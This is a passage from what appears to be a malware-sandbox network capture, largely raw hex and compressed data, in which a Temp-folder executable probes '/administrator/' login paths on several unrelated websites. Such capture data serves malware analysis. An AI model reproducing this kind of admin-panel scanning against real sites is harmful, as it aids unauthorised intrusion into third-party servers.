6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 62 6f 6f 6b 6d 79 72 61 63 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@bookmyrace.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	51551	69.49.101.57	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.066767931 CET	174	OUT	GET /administrator/ HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.410408974 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding p3p: CP="CAO PSA CONi OTRo OUR ONL" Set-Cookie: tosession=1703038400_177780_1243829267; path=/ x-robots-tag: noindex, nofollow Access-Control-Allow-Origin: https://img-to.nccdn.net Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: accept, x-request, x-requested-with Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff Content-Security-Policy: default-src * data: blob: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; Content-Encoding: gzip Data Raw: 33 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 54 61 4f e3 38 10 fd ce af 98 cd 49 5b 90 48 9c 34 5d 0a a5 e9 1e 0b e8 6e 25 ba 8b a0 bb e8 84 50 e5 da d3 c4 25 b1 73 b6 db b4 f7 eb d7 4e 0b 0b a7 43 a7 d3 f5 43 13 cf 9b 79 33 6f 66 9c e1 bb 8b af e7 93 3f ae 2f e1 f7 c9 f8 0a ae bf 7d ba fa 7c 0e 41 48 c8 5d 7a 4e c8 c5 e4 62 0b f4 a2 38 81 89 a6 d2 08 2b 94 a4 25 21 97 5f 02 08 0a 6b eb 01 21 4d d3 44 4d 1a 29 9d 93 c9 0d 29 6c 55 f6 48 a9 94 c1 88 5b 1e 8c 60 e8 4d fe 81 94 bb 87 15 b6 c4 d1 fe dd dc b1 a1 39 80 10 ae 69 8e 20 95 85 b9 5a 4a 3e 24 5b 0f 18 96 42 3e 82 dd d4 98 05 16 d7 96 30 63 02 d0 58 66 81 b1 9b 12 4d 81 68 03 28 34 ce b3 80 90 b9 92 d6 44 b9 52 79 89 b4 16 26 62 aa f2 21 dd 8f 73 5a 89 72 93 5d 51 ab 06 4d 5e d8 5f 7b 71 7c da 8f e3 f7 c1 7f 4c e2 05 1b a7 58 54 79 68 55 24 19 e3 32 92 68 c9 6d 41 35 72 1f 4b cc c6 58 ac a6 15 1a e3 64 b9 2a 8c f9 f8 3d 9b a7 f3 94 f5 92 c4 67 ac d0 52 90 b4 72 19 57 02 9b 5a 69 97 80 b9 ea 51 da 2c 68 04 b7 45 c6 71 25 18 86 ed e1 10 84 74 8d a7 65 68 18 2d 31 4b a2 f8 99 c6 57 14 e2 9f 4b b1 ca 02 5c d7 42 a3 79 c1 f5 cf 7e d7 9a e6 15 0d e0 a7 9f 54 21 a3 ac 40 ef 4e 76 63 9a 29 be 01 56 52 63 b2 c0 db b9 58 3d 1d 7d 1c 15 12 75 38 53 6b d8 29 0d 7d 0f 43 d4 5a e9 bf b9 3f 39 38 e7 37 90 76 e0 c1 68 0f 5e ff 5e ef c5 2b 74 48 1c cd 5b 69 5c e1 75 e9 0a f4 d9 ea d1 1d 3a a1 cb 92 cb f7 bf a4 27 a7 8e 4c 48 0e b6 40 a8 3d fd 46 2d a1 41 8d e0 36 f6 51 c8 dc e5 d2 11 7c b6 50 d1 0d 14 74 85 30 43 94 6e 21 fc c0 38 28 0d 1c 4b b4 c8 0f c1 28 97 06 a9 71 fc 05 b2 c7 96 f3 db cd 95 9b 96 67 d5 40 39 77 e3 30 30 a3 ee 3d 77 f5 44 43 52 8f 76 a5 0f df 85 21 44 af 6a 0e c3 b7 c0 f5 0b 0c 5a f0 ce 4d 9a 8f 9d 12 03 38 46 ab 05 33 60 35 65 ad 84 46 d8 02 2e dd 6c 75 ad 85 2b ef 92 b7 f7 16 be 7f 88 7a 70 3b 39 bb 99 78 be bd a1 61 5a Data Ascii: 393TaO8I[H4]n%P%sNCCy3of?/}\|AH]zNb8+%!_k!MDM))lUH[`M9i ZJ>$[B>0cXfMh(4DRy&b!sZr]QM^_{q\|LXTyhU$2hmA5rKXd*=gRrWZiQ,hEq%teh-1KWK\By~T!@Nvc)VRcX=}u8Sk)}CZ?987vh^^+tH[i\u:'LH@=F-A6Q\|Pt0Cn!8(K(qg@9w00=wDCRv!DjZM8F3`5eF.lu+zp;9xaZ
Dec 20, 2023 03:13:20.410444021 CET	174	IN	Data Raw: d4 76 bb fc 9d 76 f9 17 74 45 b7 d6 0e 18 cd b2 ce d3 c6 bb 0e 4a 1b 31 aa b5 40 fd 97 92 d8 de 2e 5a d7 5b 64 6a 50 af 50 ef dc 16 a6 33 1a 92 2d cf bf a5 69 b5 ee 35 d5 94 2d 8d 95 cb 2a eb cc b0 9f c4 fd a3 b4 db 9f a5 c9 ec 24 e9 9c 7a d8 0f Data Ascii: vvtEJ1@.Z[djPP3-i5-*$zk^NQkDuQo\e/CC$'jV5Y)6"Gd[m6xoy[2Nv7/
Dec 20, 2023 03:13:20.410470963 CET	148	IN	Data Raw: 3b 42 bf 11 ed 6d f4 df ce 96 f5 de aa 50 d5 b3 d0 09 0b 8f 8f 8e f9 c9 51 7f ce 7b a1 2e 17 7c f1 70 df 8d 93 b4 eb fe 92 a4 9b a6 e9 87 34 7e b8 4f fa fd fe 71 fc e0 09 5b 82 89 b2 b4 84 89 a8 70 00 bd ca 40 bf db ab 98 36 fb 27 95 21 b1 39 38 Data Ascii: ;BmPQ{.\|p4~Oq[p@6'!981p<~Bgt6HFohHvkagcI\|6Ri0
Dec 20, 2023 03:13:20.410784960 CET	274	OUT	GET /administrator/index.php HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip Cookie: tosession=1703038400_177780_1243829267 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://jgarch.com/administrator/
Dec 20, 2023 03:13:20.609215021 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding p3p: CP="CAO PSA CONi OTRo OUR ONL" x-robots-tag: noindex, nofollow Access-Control-Allow-Origin: https://img-to.nccdn.net Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: accept, x-request, x-requested-with Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff Content-Security-Policy: default-src * data: blob: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; Content-Encoding: gzip Data Raw: 33 38 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 54 6d 6f db 36 10 fe 9e 5f 71 d5 80 3a 01 22 51 b2 dc 38 71 2c 77 69 6c 6c 05 e2 2e 48 dd 06 43 10 18 34 79 96 e8 48 a4 46 d2 96 bd 5f 3f 52 76 da 66 58 30 0c f3 07 4b bc e7 f8 dc 73 6f 1a be 19 ff 76 3d fb fd 76 02 bf ce a6 37 70 fb e5 c3 cd c7 6b 08 42 42 ee d3 6b 42 c6 b3 f1 1e e8 45 71 02 33 4d a5 11 56 28 49 4b 42 26 9f 02 08 0a 6b eb 01 21 4d d3 44 4d 1a 29 9d 93 d9 1d 29 6c 55 f6 48 a9 94 c1 88 5b 1e 8c 60 e8 4d fe 81 94 bb 87 15 b6 c4 d1 f1 fd d2 b1 a1 39 81 10 6e 69 8e 20 95 85 a5 5a 4b 3e 24 7b 0f 18 96 42 3e 81 dd d5 98 05 16 b7 96 30 63 02 d0 58 66 81 b1 bb 12 4d 81 68 03 28 34 2e b3 80 90 a5 92 d6 44 b9 52 79 89 b4 16 26 62 aa f2 57 ba ef 97 b4 12 e5 2e bb a1 56 0d 9a bc b0 3f f7 e2 f8 b2 1f c7 6f 83 ff 18 c4 27 6c 5c c6 a2 ca 43 ab 22 c9 18 97 91 44 4b 3e 17 54 23 f7 77 89 d9 19 8b d5 bc 42 63 5c 5a 4e 85 31 ef bf 66 cb 74 99 b2 5e 92 f8 88 15 5a 0a 92 56 2e e2 46 60 53 2b ed 02 30 a7 1e a5 cd 82 46 70 5b 64 1c 37 82 61 d8 1e 4e 41 48 57 78 5a 86 86 d1 12 b3 24 8a bf d1 78 45 21 fe b1 16 9b 2c c0 6d 2d 34 9a 1f b8 fe d9 ef 56 d3 bc a2 01 7c f7 93 2a 64 94 15 e8 dd c9 a1 4d 0b c5 77 c0 4a 6a 4c 16 78 3b 17 9b e7 a3 bf 47 85 44 1d 2e d4 16 0e 99 86 be 86 21 6a ad f4 df dc 9f 1d 9c f3 2b 48 db f0 60 74 04 2f 7f 2f e7 e2 05 3a 24 8e e6 b5 30 4e 78 5d 3a 81 3e 5a 3d ba 47 97 e8 ba e4 f2 ed 4f e9 c5 a5 23 13 92 83 2d 10 6a 4f bf 53 6b 68 50 23 b8 89 7d 12 32 77 b1 74 04 1f 2d 54 74 07 05 dd 20 2c 10 a5 1b 08 df 30 0e 4a 03 c7 12 2d f2 53 30 ca 85 41 6a 1c 7f 81 ec a9 e5 fc 72 77 e3 ba e5 59 35 50 ce 5d 3b 0c 2c a8 7b cf 9d 9e 68 48 ea d1 41 fa f0 4d 18 42 f4 42 73 18 be 06 6e 7f c0 a0 05 ef 5d a7 f9 d4 65 62 00 a7 68 b5 60 06 ac a6 ac 4d a1 11 b6 80 89 eb ad ae b5 70 f2 26 bc dd 5b f8 fa 2e ea c1 e7 d9 d5 dd cc f3 1d 0d 0d d3 a2 b6 fb e1 ef b4 c3 bf a2 1b ba b7 76 c0 68 96 75 9e 27 de 55 50 da 88 51 ad 05 ea 3f 95 c4 76 bb 68 5d ef 91 b9 41 bd 41 7d 70 5b 99 ce 68 48 f6 3c ff 16 a6 cd f5 a8 a9 e6 6c 6d ac Data Ascii: 38cTmo6_q:"Q8q,will.HC4yHF_?RvfX0Ksov=v7pkBBkBEq3MV(IKB&k!MDM))lUH[`M9ni ZK>${B>0cXfMh(4.DRy&bW.V?o'l\C"DK>T#wBc\ZN1ft^ZV.F`S+0Fp[d7aNAHWxZ$xE!,m-4V\|*dMwJjLx;GD.!j+H`t//:$0Nx]:>Z=GO#-jOSkhP#}2wt-Tt ,0J-S0AjrwY5P];,{hHAMBBsn]ebh`Mp&[.vhu'UPQ?vh]AA}p[hH<lm
Dec 20, 2023 03:13:20.609231949 CET	174	IN	Data Raw: 5c 57 59 67 81 fd 24 ee 9f a5 dd fe 22 4d 16 17 49 e7 d2 c3 be 59 f3 76 69 3a 45 ad d5 76 17 d5 45 bd 87 72 ad d6 f5 01 23 5e 88 db 1c 43 1a 5c f8 3b 86 ac 48 4e 56 39 d5 ac 68 35 d7 eb 45 29 d8 fe 26 a3 55 4d 45 2e e7 4f b8 cb 3a df 4e 82 ef e1 Data Ascii: \WYg$"MIYvi:EvEr#^C\;HNV9h5E)&UME.O:NsZ/yy\|ryD\|D-UK,<?;g%\C7NKn!'lf
Dec 20, 2023 03:13:20.609302998 CET	81	IN	Data Raw: d2 12 66 a2 c2 01 9c 55 06 7a 69 b7 62 da 1c c7 86 5c 54 e6 e4 14 a6 d4 b2 c2 4d f0 20 36 c7 09 49 9c e5 ee c3 d5 20 ad 9e 4f d7 fe 1b 01 bf a0 1d 24 ce 96 92 d4 7b 8c af a6 de 3f 26 f1 89 57 fe 17 21 c3 6e 72 54 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: fUzib\TM 6I O${?&W!nrT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	51295	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.083148956 CET	181	OUT	GET /administrator/ HTTP/1.1 Host: directservbms.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.515312910 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 35 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 6e 64 65 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 63 65 2d 72 65 6e 64 65 72 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 43 68 72 6f 6d 65 3d 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 62 6c 65 2d 64 65 76 69 63 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 2c 6d 6f 62 69 6c 65 22 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e e5 8e 9f e5 88 9b 20 20 20 20 20 20 20 20 20 20 20 20 35 e5 a4 a9 e4 b9 8b e5 90 8e ef bc 8c e5 9b 9b e5 a4 a7 e7 94 9f e8 82 96 e8 af 95 e5 9b be e5 af bb e5 9b 9e e6 97 a7 e6 83 85 ef bc 8c e5 af 8c e8 b4 b5 e4 b8 8d e6 96 ad ef bc 8c e7 b4 ab e6 b0 94 e4 b8 9c e6 9d a5 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 72 63 6c 69 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e7 94 9f e8 82 96 e8 99 8e e5 b1 9e e8 99 8e e7 9a 84 e4 ba ba e4 ba ab e6 9c 89 e6 89 80 e6 9c 89 e7 9a 84 e8 8d a3 e5 8d 8e e5 af 8c e8 b4 b5 ef bc 8c e8 b4 a2 e5 af 8c e6 80 bb e6 98 af e5 9c a8 e6 89 8b e8 be b9 ef bc 8c e4 bb 96 e4 bb ac e7 83 ad e7 88 b1 e5 92 8c e5 b9 b3 ef bc 8c e8 b7 9d e7 a6 bb e6 b0 b8 e8 bf 9c e4 b8 8d e4 bc 9a e5 b0 86 e4 b8 a4 e9 a2 97 e6 83 b3 e8 a6 81 e5 9c a8 e4 b8 80 e8 b5 b7 e7 9a 84 e5 bf 83 e5 88 86 e5 bc 80 e3 80 82 e4 bb 96 e4 bb ac e5 a4 a9 e7 94 9f e5 85 b7 e6 9c 89 e7 bb 9f e7 ad b9 e8 a7 84 e5 88 92 e7 9a 84 e8 83 bd e5 8a 9b ef bc 8c e4 b9 a0 e6 83 af e4 ba 8e e6 8a 8a e4 b8 80 e5 88 87 e9 83 bd e6 94 be e5 9c a8 e5 bf 83 e4 b8 8a e3 80 82 e8 a7 92 e8 89 b2 e5 9c a8 e7 88 b1 e6 83 85 e4 b8 8a e5 be 88 e9 87 8d e8 a6 81 ef bc 8c e4 bd 86 e8 a7 92 e8 89 b2 e5 9c a8 e4 ba ba e9 99 85 e5 85 b3 e7 b3 bb e4 b8 8a e4 b9 9f e5 be 88 e9 87 8d e8 a6 81 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 6f 74 61 6f 7a 68 75 74 69 2e 63 6f 6d 2f 7a 62 5f 75 73 65 72 73 2f 74 68 65 6d 65 2f 74 61 6f 74 68 65 6d 65 2f 69 6d 61 67 65 2f 66 61 76 69 63 6f 6e 5f 64 65 66 61 75 6c 74 2e 69 63 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 2f 73 74 79 6c 65 73 2f 7a 6f 6e 67 68 65 2f 73 74 61 74 69 63 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 5f 33 2e 63 73 73 22 20 74 79 70 Data Ascii: 651c<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta name="renderer" content="webkit"><meta name="force-rendering" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,Chrome=1"><meta name="applicable-device" content="pc,mobile"><title> 5</title><meta name="arclist" content="" /><meta name="Description" content="" /><link rel="shortcut icon" href="http://www.taotaozhuti.com/zb_users/theme/taotheme/image/favicon_default.ico"><link rel="stylesheet" href="http://directservbms.com/styles/zonghe/static/css/font-awesome.min_3.css" typ
Dec 20, 2023 03:13:20.515326977 CET	1286	IN	Data Raw: 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 2f 73 74 79 6c 65 73 2f 7a 6f 6e 67 68 65 Data Ascii: e="text/css"><link rel="stylesheet" href="http://directservbms.com/styles/zonghe/static/css/style_28.css" type="text/css"><script src="http://directservbms.com/styles/zonghe/static/js/jquery-2.2.4.min.js" type="text/javascript"></script>
Dec 20, 2023 03:13:20.515347004 CET	1286	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 20 23 6d 6f 62 69 6c 65 2d 68 65 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 74 61 67 73 20 2e 63 6f 6c 6f 72 31 3a 3a 62 65 66 6f 72 65 2c 20 23 73 69 64 65 62 61 72 2d 6d 65 6e 75 2d 62 6f 78 2d 74 61 67 73 20 2e 63 6f Data Ascii: ontainer #mobile-header-container-tags .color1::before, #sidebar-menu-box-tags .color1::before, #sidebar-menu-box-categories .color1::before{border-right-color:#0ccccc}</style></head><body><div id="container"> <header id="header">
Dec 20, 2023 03:13:20.515367031 CET	1286	IN	Data Raw: 2f 6c 69 3e 0d 0a 09 09 09 20 20 20 20 0d 0a 0d 0a 09 09 09 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 63 61 74 65 67 6f 72 79 2d 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 72 31 6d 6f 2e 64 69 72 65 63 74 73 65 72 76 62 Data Ascii: /li> <li id="navbar-category-2"><a href="http://wr1mo.directservbms.com"></a></li> <li id="navbar-category-2"><a href="http://8wkzq.directservbms.com"></a></li> <li id="na
Dec 20, 2023 03:13:20.515388966 CET	1286	IN	Data Raw: e5 85 ac e8 bd a6 e7 a7 81 e6 9c 89 26 72 64 71 75 6f 3b e7 9a 84 e5 8a a8 e5 8a 9b e3 80 82 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 Data Ascii: ” </h3> </div> </div> <div class="pull"> <form name="search" method="post" action="http://www.taotaozhuti.com/zb_system/cmd.php?act=search" id="searchform">
Dec 20, 2023 03:13:20.515415907 CET	1286	IN	Data Raw: 20 20 20 20 20 20 e5 8e 9f e5 88 9b 20 20 20 20 20 20 20 20 20 20 20 20 35 e5 a4 a9 e4 b9 8b e5 90 8e ef bc 8c e5 9b 9b e5 a4 a7 e7 94 9f e8 82 96 e8 af 95 e5 9b be e5 af bb e5 9b 9e e6 97 a7 e6 83 85 ef bc 8c e5 af 8c e8 b4 b5 e4 b8 8d e6 96 ad Data Ascii: 5 </h1> <div class="post-title-bar"> <ul> <li> <i class="fa
Dec 20, 2023 03:13:20.515486956 CET	1286	IN	Data Raw: ba e3 80 82 e4 bb 96 e4 bb ac e7 9a 84 e8 b4 a2 e5 af 8c e5 b0 86 e6 98 af e4 b8 8d e5 8f af e9 98 bb e6 8c a1 e7 9a 84 ef bc 8c e4 b8 8d e4 bb 85 e4 bb 85 e6 98 af e5 9c a8 e5 95 86 e4 b8 9a e4 b8 8a e3 80 82 e6 94 b6 e8 8e b7 e4 bc 9a e5 be 88 Data Ascii: </p><
Dec 20, 2023 03:13:20.515584946 CET	1286	IN	Data Raw: 8e a8 e8 bf 9b e3 80 82 e5 a5 bd e4 ba 8b e6 88 90 e5 8f 8c ef bc 8c e8 b4 a2 e8 bf 90 e5 bd 93 e5 a4 b4 ef bc 8c e5 b7 a5 e4 bd 9c e9 a1 ba e5 88 a9 e3 80 82 3c 2f 70 3e 3c 70 3e e7 94 9f e8 82 96 e5 85 94 3c 2f 70 3e 3c 70 3e e5 b1 9e e5 85 94 Data Ascii: </p><p></p><p>
Dec 20, 2023 03:13:20.515599012 CET	1286	IN	Data Raw: 69 64 3d 22 61 72 74 69 63 6c 65 2d 6e 61 76 2d 6e 65 77 65 72 22 20 63 6c 61 73 73 3d 22 61 72 74 69 63 6c 65 2d 6e 61 76 2d 6c 69 6e 6b 2d 77 72 61 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 72 74 69 Data Ascii: id="article-nav-newer" class="article-nav-link-wrap"> <span class="article-nav-title"> <i class="fa fa-hand-o-left" aria-hidden="true"></i> APP
Dec 20, 2023 03:13:20.515626907 CET	1286	IN	Data Raw: 8b e6 80 9d e6 94 bf e8 af 84 e4 bc b0 e4 bd 93 e7 b3 bb 22 3e e8 90 bd e5 ae 9e e7 ab 8b e5 be b7 e6 a0 91 e4 ba ba 2c e5 ae 8c e5 96 84 e8 af be e7 a8 8b e6 80 9d e6 94 bf e8 af 84 e4 bc b0 e4 bd 93 e7 b3 bb 3c 2f 61 3e 3c 2f 68 33 3e 0d 0a 20 Data Ascii: ">,</a></h3> <div class="meta"> <span><i class="fa fa-eye"></i>8789</span> <span><i class="fa fa-clock-o"></i>2023-12-20 09
Dec 20, 2023 03:13:20.841407061 CET	1286	IN	Data Raw: e9 be 99 e6 b2 b3 e4 b8 8a e7 9a 84 e6 97 b6 e5 85 89 e5 8d b0 e8 bf b9 22 3e 0d 0a 20 20 20 20 09 09 09 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 09 09 09 20 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 20 0d 0a 09 09 09 09 20 0d 0a 20 20 20 20 09 09 Data Ascii: "> </a> </div> <div class="related_detail"> <h3><a href="/gkjqf/514.html" title=" ">
Dec 20, 2023 03:13:20.984678030 CET	240	OUT	GET /administrator/index.php HTTP/1.1 Host: directservbms.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://directservbms.com/administrator/
Dec 20, 2023 03:13:21.414418936 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 66 36 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 6e 64 65 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 63 65 2d 72 65 6e 64 65 72 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 43 68 72 6f 6d 65 3d 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 62 6c 65 2d 64 65 76 69 63 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 2c 6d 6f 62 69 6c 65 22 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 31 36 31 32 e5 a5 97 e5 b8 82 e5 b1 9e e9 85 8d e5 a5 97 e5 95 86 e5 93 81 e6 88 bf ef bc 8c e5 9c a8 e9 97 b5 e8 a1 8c e5 bc 80 e5 bb ba ef bc 81 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 72 63 6c 69 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e8 bf 91 e6 97 a5 ef bc 8c e4 b8 8a e6 b5 b7 e5 b8 82 e9 85 8d e5 a5 97 e5 95 86 e5 93 81 e6 88 bf e9 97 b5 e8 a1 8c e5 8c ba e6 b5 a6 e6 